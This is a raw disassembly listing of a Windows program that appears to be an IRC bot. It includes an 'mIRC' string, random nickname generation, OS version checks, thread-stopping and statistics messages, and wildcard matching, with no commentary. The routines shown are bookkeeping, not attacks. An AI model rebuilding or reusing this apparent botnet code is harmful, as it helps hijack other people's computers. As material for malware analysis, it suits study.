		cmp	eax, ecx
		jnz	short loc_40AE11
		mov	[ebp-4], edx


loc_40AE11:				; CODE XREF: ___:0040AE0Cj
		inc	ecx
		cmp	ecx, 5Bh
		jl	short loc_40AE0A
		push	61h
		pop	ecx


loc_40AE1A:				; CODE XREF: ___:0040AE25j
		cmp	eax, ecx
		jnz	short loc_40AE21
		mov	[ebp-4], edx


loc_40AE21:				; CODE XREF: ___:0040AE1Cj
		inc	ecx
		cmp	ecx, 7Bh
		jl	short loc_40AE1A
		mov	edi, [ebp+8]
		push	esi
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 0Ch
		cmp	dword_429098, esi
		jle	short loc_40AE66


loc_40AE40:				; CODE XREF: ___:0040AE64j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42BB60
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AE40


loc_40AE66:				; CODE XREF: ___:0040AE3Ej
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		nop
		call	near ptr 2690E09h
		push	eax
		call	sub_41B8D8
		pop	ecx
		lea	eax, [ebp-0Ch]
		push	0Ah
		push	eax
		push	7
		push	800h
		nop
		call	near ptr 26D0000h
		mov	edi, [ebp+8]
		lea	eax, [ebp-0Ch]
		push	eax
		push	offset dword_43194C
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40AEDB


loc_40AEB5:				; CODE XREF: ___:0040AED9j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42BB60
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AEB5


loc_40AEDB:				; CODE XREF: ___:0040AEB3j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		push	esi
		lea	eax, [ebp-94h]
		push	edi
		push	eax
		mov	esi, offset dword_43D808
		mov	dword ptr [ebp-94h], 94h
		nop
		call	near ptr 26D050Dh
		nop
		call	near ptr 2690E09h
		push	eax
		call	sub_41B8D8
		cmp	dword ptr [ebp-90h], 4
		pop	ecx
		jnz	short loc_40AF65
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_40AF45
		cmp	dword ptr [ebp-84h], 1
		jnz	short loc_40AF35
		mov	esi, offset dword_431974


loc_40AF35:				; CODE XREF: ___:0040AF2Ej
		cmp	dword ptr [ebp-84h], 2
		jnz	short loc_40AFA1
		mov	esi, offset dword_431970
		jmp	short loc_40AFA1
; ---------------------------------------------------------------------------


loc_40AF45:				; CODE XREF: ___:0040AF25j
		cmp	dword ptr [ebp-8Ch], 0Ah
		jnz	short loc_40AF55
		mov	esi, offset dword_43196C
		jmp	short loc_40AFA1
; ---------------------------------------------------------------------------


loc_40AF55:				; CODE XREF: ___:0040AF4Cj
		cmp	dword ptr [ebp-8Ch], 5Ah
		jnz	short loc_40AF9C
		mov	esi, offset dword_431968
		jmp	short loc_40AFA1
; ---------------------------------------------------------------------------


loc_40AF65:				; CODE XREF: ___:0040AF1Cj
		cmp	dword ptr [ebp-90h], 5
		jnz	short loc_40AF9C
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_40AF7E
		mov	esi, offset dword_431964
		jmp	short loc_40AFA1
; ---------------------------------------------------------------------------


loc_40AF7E:				; CODE XREF: ___:0040AF75j
		cmp	dword ptr [ebp-8Ch], 1
		jnz	short loc_40AF8E
		mov	esi, offset dword_431960
		jmp	short loc_40AFA1
; ---------------------------------------------------------------------------


loc_40AF8E:				; CODE XREF: ___:0040AF85j
		cmp	dword ptr [ebp-8Ch], 2
		mov	esi, offset dword_43195C
		jz	short loc_40AFA1


loc_40AF9C:				; CODE XREF: ___:0040AF5Cj
					; ___:0040AF6Cj
		mov	esi, offset dword_431958


loc_40AFA1:				; CODE XREF: ___:0040AF3Cj
					; ___:0040AF43j ...
		mov	edi, [ebp+8]
		push	esi
		push	offset dword_431950
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40AFE5


loc_40AFBF:				; CODE XREF: ___:0040AFE3j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42BB60
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AFBF


loc_40AFE5:				; CODE XREF: ___:0040AFBDj
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AFEB	proc near		; CODE XREF: sub_40B08E+5Cp

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		call	near ptr 2690E09h
		nop
		xor	edx, edx
		mov	ecx, 5265C00h
		div	ecx
		push	0
		push	offset aMirc_0	; "mIRC"
		mov	esi, eax
		cmp	esi, 64h
		jbe	short loc_40B03A
		call	dword_4CB660
		test	eax, eax
		mov	eax, offset off_431980
		jnz	short loc_40B023
		mov	eax, offset dword_43D808


loc_40B023:				; CODE XREF: sub_40AFEB+31j
		push	eax
		push	esi
		push	offset dword_431978
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	short loc_40B05A
; ---------------------------------------------------------------------------


loc_40B03A:				; CODE XREF: sub_40AFEB+22j
		call	dword_4CB660
		test	eax, eax
		mov	eax, offset off_431980
		jnz	short loc_40B04E
		mov	eax, offset dword_43D808


loc_40B04E:				; CODE XREF: sub_40AFEB+5Cj
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_40B05A:				; CODE XREF: sub_40AFEB+4Dj
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_41AFE0
		pop	ecx
		cmp	eax, 2
		pop	esi
		jbe	short loc_40B089
		push	1Ch
		lea	eax, [ebp+var_1C]
		push	[ebp+arg_0]
		push	eax
		call	sub_41C1E0
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		add	esp, 18h


loc_40B089:				; CODE XREF: sub_40AFEB+7Dj
		mov	eax, [ebp+arg_0]
		leave
		retn
sub_40AFEB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B08E	proc near		; CODE XREF: sub_4017ED+7Fp
					; sub_401955+50p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, offset dword_42DC84


loc_40B09A:				; CODE XREF: sub_40B08E+3Fj
		cmp	[ebp+arg_C], 0
		jz	short loc_40B0B5
		lea	eax, [esi-0Ch]
		push	eax
		push	[ebp+arg_C]
		call	sub_41C070
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40B0BF
; ---------------------------------------------------------------------------


loc_40B0B5:				; CODE XREF: sub_40B08E+10j
		mov	ecx, [esi]
		xor	eax, eax
		cmp	ecx, [ebp+arg_4]
		setz	al


loc_40B0BF:				; CODE XREF: sub_40B08E+25j
		test	eax, eax
		jnz	short loc_40B0D1
		add	esi, 14h
		inc	edi
		cmp	esi, offset off_42DCFC
		jb	short loc_40B09A
		jmp	short loc_40B0DF
; ---------------------------------------------------------------------------


loc_40B0D1:				; CODE XREF: sub_40B08E+33j
		push	[ebp+arg_0]
		lea	eax, [edi+edi*4]
		call	off_42DC88[eax*4]
		pop	ecx


loc_40B0DF:				; CODE XREF: sub_40B08E+41j
		cmp	[ebp+arg_8], 0
		pop	edi
		pop	esi
		jz	short loc_40B0F2
		push	[ebp+arg_0]
		call	sub_40AFEB
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_40B0F2:				; CODE XREF: sub_40B08E+57j
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_40B08E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B0F7	proc near		; CODE XREF: ___:00401599p
					; ___:004015D8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset dword_43E390


loc_40B0FF:				; CODE XREF: sub_40B0F7+18j
		cmp	byte ptr [eax],	0
		jz	short loc_40B113
		add	eax, 234h
		inc	edi
		cmp	eax, offset dword_4CB390
		jl	short loc_40B0FF
		jmp	short loc_40B15E
; ---------------------------------------------------------------------------


loc_40B113:				; CODE XREF: sub_40B0F7+Bj
		push	esi
		mov	esi, edi
		imul	esi, 234h
		push	1FFh
		push	[esp+0Ch+arg_0]
		lea	eax, dword_43E390[esi]
		push	eax
		call	sub_41B5F0
		mov	eax, [esp+14h+arg_4]
		add	esp, 0Ch
		mov	dword_43E590[esi], eax
		and	dword_43E594[esi], 0
		mov	eax, [esp+8+arg_8]
		and	dword_43E598[esi], 0
		mov	dword_43E59C[esi], eax
		and	byte_43E5A8[esi], 0
		pop	esi


loc_40B15E:				; CODE XREF: sub_40B0F7+1Aj
		mov	eax, edi
		pop	edi
		retn
sub_40B0F7	endp

; ---------------------------------------------------------------------------
word_40B162	dw 8B55h		; DATA XREF: sub_401ACD+298Ao
		dd 98EC81ECh, 8B000000h, 57560845h, 8B59266Ah, 68BD8DF0h
		dd 0F3FFFFFFh, 0F075FFA5h, 9480C7h, 10000h, 858D0000h
		dd 0FFFFFF6Ch, 50F475FFh, 0FF68B5FFh, 15E8FFFFh, 0FF000000h
		dd 6CE8EC75h, 83000002h, 6A14C4h, 4E4EE890h, 5E5F022Dh
		dd 81EC8B55h, 200ECh, 6A575600h, 1075FF00h, 431A8068h
		dd 0C75FF00h, 0E80875FFh, 0FFFFE89Fh, 3314C483h, 0E390BEFFh
		dd 3E800043h, 833C7400h, 7500147Dh, 4BE8309h, 2, 57562D75h
		dd 0FE00858Dh, 8868FFFFh, 500042C8h, 10681E8h, 8D016A00h
		dd 0FFFE0085h, 1075FFFFh, 0C75FF50h, 0E80875FFh, 0FFFFE857h
		dd 8124C483h, 234C6h, 0FE814700h, 4CB390h, 5E5FB07Ch
; ---------------------------------------------------------------------------
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40B232	proc near		; CODE XREF: sub_401ACD+7BA5p
					; sub_40B2C0+12p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	esi, ebx
		jle	short loc_40B2BA
		cmp	esi, 400h
		jge	short loc_40B2BA
		imul	esi, 234h
		push	edi
		push	ebx
		push	dword_43E5A4[esi]
		lea	edi, dword_43E5A4[esi]
		call	near ptr 26A0000h
		nop
		cmp	[edi], ebx
		jz	short loc_40B26A
		push	1
		pop	ebp


loc_40B26A:				; CODE XREF: sub_40B232+33j
		mov	[edi], ebx
		lea	edi, dword_43E598[esi]
		mov	dword_43E590[esi], ebx
		mov	dword_43E594[esi], ebx
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_40B28B
		push	eax
		call	sub_4199CA
		pop	ecx


loc_40B28B:				; CODE XREF: sub_40B232+50j
		mov	[edi], ebx
		lea	edi, dword_43E59C[esi]
		mov	byte ptr dword_43E390[esi], bl
		mov	byte_43E5A8[esi], bl
		push	dword ptr [edi]
		call	dword_4CB6EC
		lea	esi, dword_43E5A0[esi]
		mov	[edi], ebx
		push	dword ptr [esi]
		call	dword_4CB6EC
		mov	[esi], ebx
		pop	edi


loc_40B2BA:				; CODE XREF: sub_40B232+Dj
					; sub_40B232+15j
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_40B232	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B2C0	proc near		; CODE XREF: sub_40111D+18p
					; ___:loc_4017D9p ...
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		mov	esi, offset dword_43E390


loc_40B2CC:				; CODE XREF: sub_40B2C0+2Aj
		cmp	byte ptr [esi],	0
		jz	short loc_40B2DD
		push	edi
		call	sub_40B232
		test	eax, eax
		pop	ecx
		jz	short loc_40B2DD
		inc	ebx


loc_40B2DD:				; CODE XREF: sub_40B2C0+Fj
					; sub_40B2C0+1Aj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_4CB390
		jl	short loc_40B2CC
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_40B2C0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B2F2	proc near		; CODE XREF: sub_401ACD+418Fp
					; sub_401ACD+42E1p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], ebx
		mov	esi, offset dword_43E594


loc_40B306:				; CODE XREF: sub_40B2F2+43j
		mov	eax, [esi-4]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_40B328
		test	edi, edi
		jle	short loc_40B31A
		cmp	[esi], edi
		jz	short loc_40B31A
		cmp	ebx, edi
		jnz	short loc_40B328


loc_40B31A:				; CODE XREF: sub_40B2F2+1Ej
					; sub_40B2F2+22j
		push	ebx
		call	sub_40B232
		test	eax, eax
		pop	ecx
		jz	short loc_40B328
		inc	[ebp+var_4]


loc_40B328:				; CODE XREF: sub_40B2F2+1Aj
					; sub_40B2F2+26j ...
		add	esi, 234h
		inc	ebx
		cmp	esi, offset dword_4CB594
		jl	short loc_40B306
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B2F2	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B33F	proc near		; CODE XREF: ___:00401630p
					; sub_401ACD+97Ap ...

arg_0		= dword	ptr  4

		xor	eax, eax
		mov	ecx, offset dword_43E590


loc_40B346:				; CODE XREF: sub_40B33F+1Cj
		mov	edx, [ecx]
		cmp	edx, [esp+arg_0]
		jnz	short loc_40B34F
		inc	eax


loc_40B34F:				; CODE XREF: sub_40B33F+Dj
		add	ecx, 234h
		cmp	ecx, offset dword_4CB590
		jl	short loc_40B346
		retn
sub_40B33F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B35E	proc near		; CODE XREF: sub_401ACD+2434p

arg_0		= dword	ptr  4

		xor	eax, eax
		push	esi
		xor	edx, edx
		mov	ecx, offset dword_43E590


loc_40B368:				; CODE XREF: sub_40B35E+1Fj
		mov	esi, [ecx]
		cmp	esi, [esp+4+arg_0]
		jz	short loc_40B381
		add	ecx, 234h
		inc	edx
		cmp	ecx, offset dword_4CB590
		jl	short loc_40B368
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40B381:				; CODE XREF: sub_40B35E+10j
		mov	eax, edx
		pop	esi
		retn
sub_40B35E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B385	proc near		; CODE XREF: sub_401ACD+1067p
					; sub_401ACD+126Dp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		xor	eax, eax
		cmp	[ebp+arg_1C], eax
		jz	short loc_40B39E
		push	[ebp+arg_1C]
		call	sub_41B779
		pop	ecx


loc_40B39E:				; CODE XREF: sub_40B385+Ej
		push	eax
		push	[ebp+arg_18]
		call	sub_40B2F2
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_40B3CA
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	offset aSSStopped_DThr ; "%s %s	stopped. (%d thread(s) stopped.)"
		push	eax
		call	sub_41B886
		add	esp, 14h
		jmp	short loc_40B3E4
; ---------------------------------------------------------------------------


loc_40B3CA:				; CODE XREF: sub_40B385+26j
		push	[ebp+arg_14]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_10]
		push	offset aSNoSThreadFoun ; "%s No	%s thread found."
		push	eax
		call	sub_41B886
		add	esp, 10h


loc_40B3E4:				; CODE XREF: sub_40B385+43j
		cmp	[ebp+arg_C], 0
		jnz	short loc_40B404
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 14h


loc_40B404:				; CODE XREF: sub_40B385+63j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AD
		pop	ecx
		leave
		retn
sub_40B385	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B413	proc near		; CODE XREF: sub_4017ED+159p
					; ___:0040BA48p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		imul	eax, 234h
		mov	dword_43E5A4[eax], ecx
		mov	dword_43E590[eax], ecx
		mov	dword_43E594[eax], ecx
		mov	dword_43E598[eax], ecx
		mov	dword_43E59C[eax], ecx
		mov	dword_43E5A0[eax], ecx
		mov	byte ptr dword_43E390[eax], cl
		mov	byte_43E5A8[eax], cl
		retn
sub_40B413	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B450	proc near		; CODE XREF: sub_401ACD+7E3Cp
					; sub_40B57E+6Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		push	1
		pop	eax


loc_40B45A:				; CODE XREF: sub_40B450+68j
		mov	cl, [esi]
		test	cl, cl
		jz	short loc_40B4BA
		cmp	eax, 1
		jnz	short loc_40B4BA
		mov	edx, [ebp+arg_4]
		mov	dl, [edx]
		test	dl, dl
		jz	short loc_40B4BA
		cmp	cl, 2Ah
		jz	short loc_40B4A1
		cmp	cl, 3Fh
		jz	short loc_40B484
		cmp	cl, 5Bh
		jz	short loc_40B489
		xor	eax, eax
		cmp	cl, dl
		setz	al


loc_40B484:				; CODE XREF: sub_40B450+26j
		inc	[ebp+arg_4]
		jmp	short loc_40B4B4
; ---------------------------------------------------------------------------


loc_40B489:				; CODE XREF: sub_40B450+2Bj
		lea	eax, [ebp+arg_4]
		inc	esi
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_40B4E6
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_40B4B4
; ---------------------------------------------------------------------------


loc_40B4A1:				; CODE XREF: sub_40B450+21j
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_40B57E
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		dec	esi


loc_40B4B4:				; CODE XREF: sub_40B450+37j
					; sub_40B450+4Fj
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_40B45A
; ---------------------------------------------------------------------------


loc_40B4BA:				; CODE XREF: sub_40B450+Ej
					; sub_40B450+13j ...
		cmp	byte ptr [esi],	2Ah
		jnz	short loc_40B4CA
		cmp	eax, 1
		jnz	short loc_40B4E1
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_40B4BA
; ---------------------------------------------------------------------------


loc_40B4CA:				; CODE XREF: sub_40B450+6Dj
		cmp	eax, 1
		jnz	short loc_40B4E1
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_40B4E1
		cmp	byte ptr [esi],	0
		jnz	short loc_40B4E1
		push	1
		pop	eax
		jmp	short loc_40B4E3
; ---------------------------------------------------------------------------


loc_40B4E1:				; CODE XREF: sub_40B450+72j
					; sub_40B450+7Dj ...
		xor	eax, eax


loc_40B4E3:				; CODE XREF: sub_40B450+8Fj
		pop	esi
		pop	ebp
		retn
sub_40B450	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B4E6	proc near		; CODE XREF: sub_40B450+45p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edi
		xor	edi, edi
		push	1
		mov	ecx, [edx]
		and	[ebp+var_8], edi
		pop	eax
		cmp	byte ptr [ecx],	21h
		mov	[ebp+var_4], eax
		jnz	short loc_40B507
		inc	ecx
		mov	[ebp+var_8], eax
		mov	[edx], ecx


loc_40B507:				; CODE XREF: sub_40B4E6+19j
		push	ebx
		push	esi


loc_40B509:				; CODE XREF: sub_40B4E6+7Bj
		mov	ecx, [edx]
		mov	bl, [ecx]
		cmp	bl, 5Dh
		jnz	short loc_40B517
		cmp	[ebp+var_4], eax
		jnz	short loc_40B563


loc_40B517:				; CODE XREF: sub_40B4E6+2Aj
		test	edi, edi
		jnz	short loc_40B558
		cmp	bl, 2Dh
		jnz	short loc_40B54C
		mov	al, [ecx+1]
		lea	esi, [ecx+1]
		mov	cl, [ecx-1]
		cmp	cl, al
		jge	short loc_40B54C
		cmp	al, 5Dh
		jz	short loc_40B54C
		cmp	[ebp+var_4], edi
		jnz	short loc_40B54C
		mov	ebx, [ebp+arg_4]
		mov	ebx, [ebx]
		mov	bl, [ebx]
		cmp	bl, cl
		jl	short loc_40B558
		cmp	bl, al
		jg	short loc_40B558
		push	1
		mov	[edx], esi
		pop	edi
		jmp	short loc_40B558
; ---------------------------------------------------------------------------


loc_40B54C:				; CODE XREF: sub_40B4E6+38j
					; sub_40B4E6+45j ...
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		cmp	bl, [eax]
		jnz	short loc_40B558
		push	1
		pop	edi


loc_40B558:				; CODE XREF: sub_40B4E6+33j
					; sub_40B4E6+59j ...
		inc	dword ptr [edx]
		and	[ebp+var_4], 0
		push	1
		pop	eax
		jmp	short loc_40B509
; ---------------------------------------------------------------------------


loc_40B563:				; CODE XREF: sub_40B4E6+2Fj
		cmp	[ebp+var_8], eax
		pop	esi
		pop	ebx
		jnz	short loc_40B570
		mov	ecx, eax
		sub	ecx, edi
		mov	edi, ecx


loc_40B570:				; CODE XREF: sub_40B4E6+82j
		cmp	edi, eax
		jnz	short loc_40B579
		mov	eax, [ebp+arg_4]
		inc	dword ptr [eax]


loc_40B579:				; CODE XREF: sub_40B4E6+8Cj
		mov	eax, edi
		pop	edi
		leave
		retn
sub_40B4E6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B57E	proc near		; CODE XREF: sub_40B450+59p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], 1
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		xor	ebx, ebx


loc_40B59A:				; CODE XREF: sub_40B57E+3Aj
		cmp	[eax], bl
		jz	short loc_40B5BA
		mov	cl, [ecx]
		cmp	cl, 3Fh
		jz	short loc_40B5AF
		cmp	cl, 2Ah
		jnz	short loc_40B5BA
		cmp	cl, 3Fh
		jnz	short loc_40B5B2


loc_40B5AF:				; CODE XREF: sub_40B57E+25j
		inc	eax
		mov	[edi], eax


loc_40B5B2:				; CODE XREF: sub_40B57E+2Fj
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		jmp	short loc_40B59A
; ---------------------------------------------------------------------------


loc_40B5BA:				; CODE XREF: sub_40B57E+1Ej
					; sub_40B57E+2Aj ...
		mov	eax, [esi]
		cmp	byte ptr [eax],	2Ah
		jnz	short loc_40B5C5
		inc	dword ptr [esi]
		jmp	short loc_40B5BA
; ---------------------------------------------------------------------------


loc_40B5C5:				; CODE XREF: sub_40B57E+41j
		mov	eax, [edi]
		mov	cl, [eax]
		cmp	cl, bl
		jnz	short loc_40B5E6
		mov	edx, [esi]
		cmp	[edx], bl
		jz	short loc_40B5D7
		xor	eax, eax
		jmp	short loc_40B646
; ---------------------------------------------------------------------------


loc_40B5D7:				; CODE XREF: sub_40B57E+53j
		cmp	cl, bl
		jnz	short loc_40B5E6
		mov	ecx, [esi]
		cmp	[ecx], bl
		jnz	short loc_40B5E6
		push	1
		pop	eax
		jmp	short loc_40B646
; ---------------------------------------------------------------------------


loc_40B5E6:				; CODE XREF: sub_40B57E+4Dj
					; sub_40B57E+5Bj ...
		push	eax
		push	dword ptr [esi]
		call	sub_40B450
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40B630


loc_40B5F4:				; CODE XREF: sub_40B57E+B0j
		inc	dword ptr [edi]
		mov	eax, [edi]


loc_40B5F8:				; CODE XREF: sub_40B57E+90j
		mov	ecx, [esi]
		mov	dl, [eax]
		mov	cl, [ecx]
		cmp	cl, dl
		jz	short loc_40B610
		cmp	cl, 5Bh
		jz	short loc_40B610
		cmp	dl, bl
		jz	short loc_40B610
		inc	eax
		mov	[edi], eax
		jmp	short loc_40B5F8
; ---------------------------------------------------------------------------


loc_40B610:				; CODE XREF: sub_40B57E+82j
					; sub_40B57E+87j ...
		mov	eax, [edi]
		cmp	[eax], bl
		jz	short loc_40B627
		push	eax
		push	dword ptr [esi]
		call	sub_40B450
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40B62C
; ---------------------------------------------------------------------------


loc_40B627:				; CODE XREF: sub_40B57E+96j
		mov	[ebp+var_4], ebx
		xor	eax, eax


loc_40B62C:				; CODE XREF: sub_40B57E+A7j
		cmp	eax, ebx
		jnz	short loc_40B5F4


loc_40B630:				; CODE XREF: sub_40B57E+74j
		mov	eax, [edi]
		cmp	[eax], bl
		jnz	short loc_40B643
		mov	eax, [esi]
		cmp	[eax], bl
		jnz	short loc_40B643
		mov	[ebp+var_4], 1


loc_40B643:				; CODE XREF: sub_40B57E+B6j
					; sub_40B57E+BCj
		mov	eax, [ebp+var_4]


loc_40B646:				; CODE XREF: sub_40B57E+57j
					; sub_40B57E+66j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B57E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B64B	proc near		; CODE XREF: sub_401ACD+2AF6p

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		push	ebx
		push	edi
		lea	eax, [ebp+var_200]
		push	offset unk_431E9C
		push	eax
		xor	ebx, ebx
		call	sub_41B886
		cmp	dword_431B00, ebx
		pop	ecx
		pop	ecx
		mov	edi, 200h
		jz	short loc_40B6BD
		push	esi
		mov	esi, offset dword_431B08


loc_40B67E:				; CODE XREF: sub_40B64B+6Fj
		mov	eax, [esi]
		test	eax, eax
		jbe	short loc_40B6B3
		add	ebx, eax
		push	eax
		lea	eax, [esi-26h]
		push	eax
		lea	eax, [ebp+var_400]
		push	offset dword_431E90
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_41C1E0
		add	esp, 1Ch


loc_40B6B3:				; CODE XREF: sub_40B64B+37j
		add	esi, 40h
		cmp	dword ptr [esi-8], 0
		jnz	short loc_40B67E
		pop	esi


loc_40B6BD:				; CODE XREF: sub_40B64B+2Bj
		push	dword_4CB394
		call	sub_41A88C
		pop	ecx
		push	eax
		push	ebx
		lea	eax, [ebp+var_400]
		push	offset aTotalDInS_ ; " Total: %d in %s."
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_41C1E0
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AD
		add	esp, 34h
		pop	edi
		pop	ebx
		leave
		retn
sub_40B64B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B71A	proc near		; CODE XREF: sub_401ACD+2AE0p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		mov	eax, dword_4CE160
		mov	ecx, dword_4CE15C
		push	esi
		push	dword_4CB394
		lea	esi, [ecx+eax]
		call	sub_41A88C
		pop	ecx
		push	eax
		push	esi
		push	dword_4CE160
		lea	eax, [ebp+var_200]
		push	dword_4CE15C
		push	offset unk_431EBC
		push	eax
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
